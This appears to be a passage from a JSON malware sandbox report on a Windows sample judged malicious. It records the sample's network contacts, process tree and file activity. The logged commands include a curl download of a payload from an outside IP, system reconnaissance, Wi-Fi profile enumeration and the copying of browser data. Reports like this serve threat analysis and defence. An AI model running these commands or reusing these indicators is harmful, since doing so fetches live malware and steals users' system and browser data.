da77bc213f7b3ebbd064d68f62b1b312694b559d6ce0214"},"File:fd6a1e880ad9704f43de5ac612b1da301c67af8e086ba9397fd4aee3b8ca07ff":{"type":"File","value":"fd6a1e880ad9704f43de5ac612b1da301c67af8e086ba9397fd4aee3b8ca07ff"},"File:ffb9c2bad99c31ff0837a4fd552ce7702f5bae9028b747b52211643ed096fcd0":{"type":"File","value":"ffb9c2bad99c31ff0837a4fd552ce7702f5bae9028b747b52211643ed096fcd0"},"Ip:107.175.82.242":{"type":"Ip","value":"107.175.82.242"},"Ip:208.95.112.1":{"type":"Ip","value":"208.95.112.1"},"Ip:57.150.53.97":{"type":"Ip","value":"57.150.53.97"},"Url:/json/?fields=countryCode":{"type":"Url","value":"/json/?fields=countryCode"},"Url:/wilow/uzbektajik.bin":{"type":"Url","value":"/wilow/uzbektajik.bin"}},"chains":[{"id":"sandbox_network","root":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","edges":[{"edge_kind":"contacted_ip","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"Ip:57.150.53.97"},{"edge_kind":"contacted_ip","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"Ip:107.175.82.242"},{"edge_kind":"contacted_ip","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"Ip:208.95.112.1"},{"edge_kind":"contacted_domain","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"Domain:ip-api.com"},{"edge_kind":"resolves_to","from_key":"Domain:ip-api.com","to_key":"Ip:208.95.112.1"},{"edge_kind":"contacted_domain","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"Domain:vsblobprodscussu5shard21.blob.core.windows.net"},{"edge_kind":"resolves_to","from_key":"Domain:vsblobprodscussu5shard21.blob.core.windows.net","to_key":"Ip:57.150.53.97"},{"edge_kind":"contacted_url","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"Url:/wilow/uzbektajik.bin"},{"edge_kind":"contacted_url","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"Url:/json/?fields=countryCode"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","edges":[{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:b5700215c113a5fc98b0b4fba2775a2f1f464428ad7153878b9e00db2c23514a"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:95b6cbcfa3d138ba741f735e46ffcefe670bed5e3bb8d0a3f66842271a1caf0e"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:7e7df0e30b6aba8637fb58db0a2e7a876890b872f0d0b313424d46c9299580e8"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:016696e406cdd0693c530218bf13e13708621a95a60b1a014bad8d250cf9beba"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:97612de5df5c3d17fb43ae88f0e2df2356e586061fa84e0aa86cda86684be494"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:61747a3ea8e4d962cf8a3236434807def62837b93656f6c8661b0b92b78fd4f7"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:7de605c1cd4ca867d5777e3f9cf848ee46a2bb66f80020e3f591426e6346074e"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:e27b7d9316378ccf8ec771bd0ba0eb6f049d0a776916844fb2d14983cfa9e30a"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:819701b897feb6811acbaa357dbeb2d9c22c34756a8f230c792aac828a493bc3"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:6da8e2fb26932a6c9ef94d1234eb8852e16ca865601bae933d59836ffe06bc9b"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:085668b60759584fd20e315a814536a312ccfb911f98cfe7cedd2f32e8c87002"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:ffb9c2bad99c31ff0837a4fd552ce7702f5bae9028b747b52211643ed096fcd0"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:554d42dde26b76bf8a11b46f70449aea5df186b77cfc189e387a3bb9a3ac6905"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:1aef7598d8328bf9a2a5f690add3b8158c4f35b7612d95921efb69c12d7b74aa"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:fd6a1e880ad9704f43de5ac612b1da301c67af8e086ba9397fd4aee3b8ca07ff"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:f94b5b36f67ae8cdcda77bc213f7b3ebbd064d68f62b1b312694b559d6ce0214"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:00e11f43a3989e0db3f7ceaa2e9841a24cc081ca4435d154c4914e994953ab2d"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:657ec644aa1c2c3fda4625d5f9c8bdc9cd1520180069a42658af1e98eb4dd8b1"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:22441b8dd33b0e34ddd1ea4b27fd15e9e8a72559195c82cc47f76ac0fc0ef0f2"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:b81e925864fb93b34e645180f99129c81d3630e5e02ec14b8c51b46c502f6a7a"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:b1c1bd8beb58ecae47f240d418cc6b83fc7fb8f9d5f8b6ead4e7d6cbb0418741"},{"edge_kind":"extracted","from_key":"File:ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","to_key":"File:54eb581049d0a323f46c69ffa26d1108a76a3de8013e979d1cdd28a605a85257"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":17,"spawned_processes_count":17,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":18,"imported_dlls_count":170,"dropped_files_count":0,"extracted_files_count":22,"files_written_count":201,"files_deleted_count":0,"registry_keys_created_count":26,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":26,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["evasive","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6ad2b448e3dfa70fe3096f32","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Agent.atq","contacted_countries":["USA"],"submit_name":"file","analysis_start_time":"2026-10-16T23:33:29+00:00","indicators_count":{"informative":301,"suspicious":78,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"57.150.53.97","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"address":"107.175.82.242","port":9000,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"address":"208.95.112.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}],"dns_resolutions":[{"domain":"ip-api.com","address":"208.95.112.1","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"domain":"vsblobprodscussu5shard21.blob.core.windows.net","address":"57.150.53.97","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}],"http_requests":[{"host":"107.175.82.242:9000","host_ip":"107.175.82.242:9000","url":"/wilow/uzbektajik.bin","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /wilow/uzbektajik.bin HTTP/1.1\nHost: 107.175.82.242:9000\nUser-Agent: curl/8.15.0\nAccept: */*","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"host":"ip-api.com","host_ip":"208.95.112.1:80","url":"/json/?fields=countryCode","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /json/?fields=countryCode HTTP/1.1\naccept: */*\nhost: ip-api.com","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}],"processes":[{"pid":6548,"ppid":0,"name":"file.exe","command_line":"","sha256":"ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","normalized_path":"C:\\file.exe","uid":"00000000-00006548","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":4788,"ppid":6548,"name":"curl.exe","command_line":"-s -L --connect-timeout 10 --max-time 120 --retry 1 -A Microsoft-Symbol-Server/10.1700.661.0 -o \"%TEMP%\\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb\" \"https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/7C6B3934E36B4ED89EA9374957EDEAC41/ntkrnlmp.pdb\"","sha256":"3050c33bfb67f7b4d1275aa12cd4622b7f853e63de34a7412f67269de070dbb7","normalized_path":"%WINDIR%\\SYSTEM32\\curl.exe","parent_uid":"00000000-00006548","uid":"00000000-00004788"},{"pid":4988,"ppid":6548,"name":"curl.exe","command_line":"-s -L --connect-timeout 10 --max-time 120 -o \"%APPDATA%\\jy1gj29sb6l8\" \"http://107.175.82.242:9000/wilow/uzbektajik.bin\"","sha256":"3050c33bfb67f7b4d1275aa12cd4622b7f853e63de34a7412f67269de070dbb7","normalized_path":"%WINDIR%\\SYSTEM32\\curl.exe","parent_uid":"00000000-00006548","uid":"00000000-00004988"},{"pid":6976,"ppid":6548,"name":"uzbektajik.exe","command_line":"","sha256":"b5700215c113a5fc98b0b4fba2775a2f1f464428ad7153878b9e00db2c23514a","normalized_path":"%APPDATA%\\uzbektajik.exe","parent_uid":"00000000-00006548","uid":"00000000-00006976"},{"pid":4124,"ppid":6976,"name":"ipconfig.exe","command_line":"\"ipconfig\" /all","sha256":"7d7d13e55b4431f42d1ff86189fb8bf27f93cfef4179271c4264a6f5a35a94f7","normalized_path":"%WINDIR%\\system32\\ipconfig.exe","parent_uid":"00000000-00006976","uid":"00000000-00004124"},{"pid":6700,"ppid":6976,"name":"helper.exe","command_line":"-f all","sha256":"95b6cbcfa3d138ba741f735e46ffcefe670bed5e3bb8d0a3f66842271a1caf0e","normalized_path":"%TEMP%\\rxinj_1792193633892748900\\helper.exe","parent_uid":"00000000-00006976","uid":"00000000-00006700"},{"pid":4276,"ppid":6700,"name":"chrome.exe","command_line":"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006700","uid":"00000000-00004276"},{"pid":7388,"ppid":6700,"name":"msedge.exe","command_line":"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00006700","uid":"00000000-00007388"},{"pid":8084,"ppid":6976,"name":"powershell.exe","command_line":"\"powershell\" -Command \"Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006976","uid":"00000000-00008084"},{"pid":4512,"ppid":6976,"name":"tasklist.exe","command_line":"\"tasklist\"","sha256":"d0de02e013574b1c6c940a7fb00c671b364d02e36c024ccba5ab9c3904e58d1e","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00006976","uid":"00000000-00004512"},{"pid":5040,"ppid":6976,"name":"whoami.exe","command_line":"\"whoami\" /groups","sha256":"6c7c2450a80f401b8d3b33754c45d91d60d4a2055533542389551c0c609261d2","normalized_path":"%WINDIR%\\system32\\whoami.exe","parent_uid":"00000000-00006976","uid":"00000000-00005040"},{"pid":6552,"ppid":6976,"name":"powershell.exe","command_line":"\"powershell\" -Command \"netsh wlan show profiles\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006976","uid":"00000000-00006552"},{"pid":3480,"ppid":6552,"name":"netsh.exe","command_line":"wlan show profiles","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00006552","uid":"00000000-00003480"},{"pid":6124,"ppid":6976,"name":"lss.exe","command_line":"","sha256":"7e7df0e30b6aba8637fb58db0a2e7a876890b872f0d0b313424d46c9299580e8","normalized_path":"%TEMP%\\rxlss_1792194023545449700\\lss.exe","parent_uid":"00000000-00006976","uid":"00000000-00006124"},{"pid":2240,"ppid":6976,"name":"ipconfig.exe","command_line":"\"ipconfig\" /all","sha256":"7d7d13e55b4431f42d1ff86189fb8bf27f93cfef4179271c4264a6f5a35a94f7","normalized_path":"%WINDIR%\\system32\\ipconfig.exe","parent_uid":"00000000-00006976","uid":"00000000-00002240"},{"pid":7240,"ppid":6976,"name":"ipconfig.exe","command_line":"\"ipconfig\" /all","sha256":"7d7d13e55b4431f42d1ff86189fb8bf27f93cfef4179271c4264a6f5a35a94f7","normalized_path":"%WINDIR%\\system32\\ipconfig.exe","parent_uid":"00000000-00006976","uid":"00000000-00007240"},{"pid":3200,"ppid":6548,"name":"itsub.exe","command_line":"","sha256":"8e20316358cd50ed30200ca2264f2db82d8be8dcdce518c9134e91e5353fe9e7","normalized_path":"%APPDATA%\\itsub.exe","parent_uid":"00000000-00006548","uid":"00000000-00003200"}],"all_imported_dlls":["VxSSL64.dll","System.Management.ni.dll","fwcfg.dll","wshelper.dll","mprmsg.dll","gdi32full.dll","msvcp_win.dll","dnsapi.dll","mscorlib.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","authz.dll","eappcfg.dll","ntasn1.dll","bcrypt.dll","System.Xml.ni.dll","System.Transactions.dll","rasapi32.dll","dhcpcmonitor.dll","onex.dll","mintdh.dll","msvcrt.dll","msvcp140.dll","ntmarta.dll","P2P.dll","advapi32.dll","msasn1.dll","profapi.dll","sxs.dll","Microsoft.Management.Infrastructure.ni.dll","tdh.dll","SHCore.dll","nettrace.dll","WiFiDisplay.dll","sechost.dll","winnsi.dll","System.Data.ni.dll","ndfapi.dll","polstore.dll","kernel32.dll","cryptsp.dll","System.Core.ni.dll","wkscli.dll","nshipsec.dll","dbghelp.dll","atl.dll","System.ni.dll","System.Data.dll","eappprxy.dll","mpr.dll","Wldap32.dll","secur32.dll","psapi.dll","wbemsvc.dll","fastprox.dll","wldp.dll","rasman.dll","bcryptprimitives.dll","cfgmgr32.dll","clr.dll","System.Transactions.ni.dll","rpcrt4.dll","imm32.dll","nsi.dll","ifmon.dll","dot3cfg.dll","wwapi.dll","oleaut32.dll","IPHLPAPI.DLL","rasadhlp.dll","MpOAV.dll","rasmontr.dll","ncrypt.dll","wcmapi.dll","powrprof.dll","MpClient.dll","slc.dll","wmiutils.dll","mprapi.dll","mdmregistration.dll","uxtheme.dll","mswsock.dll","gpapi.dll","ole32.dll","vcruntime140.dll","clbcatq.dll","vcruntime140_clr0400.dll","netutils.dll","activeds.dll","apphelp.dll","normaliz.dll","version.dll","shell32.dll","8AO2461e.dll","System.Configuration.ni.dll","hnetmon.dll","httpapi.dll","crypt32.dll","WcnNetsh.dll","fltLib.dll","dhcpcsvc6.dll","msedge_elf.dll","ucrtbase_clr0400.dll","System.Numerics.ni.dll","System.Configuration.Install.ni.dll","framedynos.dll","mfc42u.dll","FirewallAPI.dll","wdi.dll","wlanapi.dll","devobj.dll","PeerDistSh.dll","wtsapi32.dll","amsi.dll","winipsec.dll","adsldpc.dll","shlwapi.dll","authfwcfg.dll","p2pnetsh.dll","user32.dll","cryptbase.dll","fwbase.dll","netiohlp.dll","sppc.dll","wbemcomn.dll","vcruntime140_1.dll","gdi32.dll","win32u.dll","mscoree.dll","System.Management.Automation.ni.dll","System.DirectoryServices.ni.dll","KernelBase.dll","ucrtbase.dll","sspicli.dll","FWPUCLNT.DLL","srvcli.dll","Microsoft.PowerShell.Security.ni.dll","winsta.dll","nlaapi.dll","ws2_32.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","userenv.dll","Microsoft.PowerShell.Commands.Management.ni.dll","fwpolicyiomgr.dll","whhelper.dll","msvcp110_win.dll","rmclient.dll","combase.dll","wevtapi.dll","nshhttp.dll","cabinet.dll","rpcnsh.dll","dmcmnutils.dll","ktmw32.dll","RstrtMgr.dll","dhcpcsvc.dll","windows.storage.dll","wintrust.dll","wlancfg.dll","ntdll.dll","kernel.appcore.dll","wbemprox.dll","chrome_elf.dll","rsaenh.dll","clrjit.dll","dot3api.dll","netshell.dll","mscoreei.dll","nshwfp.dll","winhttp.dll","wwancfg.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"uzbektajik.exe","sha256":"b5700215c113a5fc98b0b4fba2775a2f1f464428ad7153878b9e00db2c23514a","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"helper.exe","sha256":"95b6cbcfa3d138ba741f735e46ffcefe670bed5e3bb8d0a3f66842271a1caf0e","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"lss.exe","sha256":"7e7df0e30b6aba8637fb58db0a2e7a876890b872f0d0b313424d46c9299580e8","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"itsub.exe","sha256":"016696e406cdd0693c530218bf13e13708621a95a60b1a014bad8d250cf9beba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"installed_browsers.txt","sha256":"97612de5df5c3d17fb43ae88f0e2df2356e586061fa84e0aa86cda86684be494","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"system_env.txt","sha256":"61747a3ea8e4d962cf8a3236434807def62837b93656f6c8661b0b92b78fd4f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"activity-stream.tippytop.json","sha256":"7de605c1cd4ca867d5777e3f9cf848ee46a2bb66f80020e3f591426e6346074e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"activity-stream.topstories.json","sha256":"e27b7d9316378ccf8ec771bd0ba0eb6f049d0a776916844fb2d14983cfa9e30a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"001DB8AE3A46F009910967724D0E7F33B99AA751","sha256":"819701b897feb6811acbaa357dbeb2d9c22c34756a8f230c792aac828a493bc3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"00659E1F8F558174C53F6752E1EE07AD1D1ADEAF","sha256":"6da8e2fb26932a6c9ef94d1234eb8852e16ca865601bae933d59836ffe06bc9b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"00CACAB4A2A08019AB723BBEA8A2918C4D611880","sha256":"085668b60759584fd20e315a814536a312ccfb911f98cfe7cedd2f32e8c87002","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"01B389B4B6499331C42AB8882DF16FC3A7ED7408","sha256":"ffb9c2bad99c31ff0837a4fd552ce7702f5bae9028b747b52211643ed096fcd0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"0217E9CBD61685C0FB421A40803D21212CA9C884","sha256":"554d42dde26b76bf8a11b46f70449aea5df186b77cfc189e387a3bb9a3ac6905","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"021A9A79C17610AF76A2D0507B665C9675CEF494","sha256":"1aef7598d8328bf9a2a5f690add3b8158c4f35b7612d95921efb69c12d7b74aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"02ABD00ED4A4FD6AE4F52DE4382F135A72A2131C","sha256":"fd6a1e880ad9704f43de5ac612b1da301c67af8e086ba9397fd4aee3b8ca07ff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"0311672596129101B46B4E433A163DAFE1041BB6","sha256":"f94b5b36f67ae8cdcda77bc213f7b3ebbd064d68f62b1b312694b559d6ce0214","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"040E74E71C45D91C46022EA4BEC836CA19AB6DE8","sha256":"00e11f43a3989e0db3f7ceaa2e9841a24cc081ca4435d154c4914e994953ab2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"04267DCF6B6DF3614BF6EE76DCB0B5EB1390F12D","sha256":"657ec644aa1c2c3fda4625d5f9c8bdc9cd1520180069a42658af1e98eb4dd8b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"044A925ADC491F971559A38B382FA7569E9E8137","sha256":"22441b8dd33b0e34ddd1ea4b27fd15e9e8a72559195c82cc47f76ac0fc0ef0f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"047880D7EC2D2467D4622E814C9780F95A7A160F","sha256":"b81e925864fb93b34e645180f99129c81d3630e5e02ec14b8c51b46c502f6a7a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"048C0BA637EBDCC6986C557430C171C0FFEFB666","sha256":"b1c1bd8beb58ecae47f240d418cc6b83fc7fb8f9d5f8b6ead4e7d6cbb0418741","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"04F7615FBC29346C1C06F188DF08171608B148A0","sha256":"54eb581049d0a323f46c69ffa26d1108a76a3de8013e979d1cdd28a605a85257","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%WINDIR%\\Temp\\jep0nmpc32hk.sys","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%APPDATA%\\uzbektajik.exe","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%APPDATA%\\itsub.exe","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\octo-fingerprint.json","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxinj_1792193633892748900\\helper.exe","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\activity-stream.tippytop.json","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\activity-stream.topstories.json","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\001DB8AE3A46F009910967724D0E7F33B99AA751","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\00659E1F8F558174C53F6752E1EE07AD1D1ADEAF","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\00CACAB4A2A08019AB723BBEA8A2918C4D611880","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\doomed","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\01B389B4B6499331C42AB8882DF16FC3A7ED7408","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0217E9CBD61685C0FB421A40803D21212CA9C884","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\021A9A79C17610AF76A2D0507B665C9675CEF494","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Environment\\system_en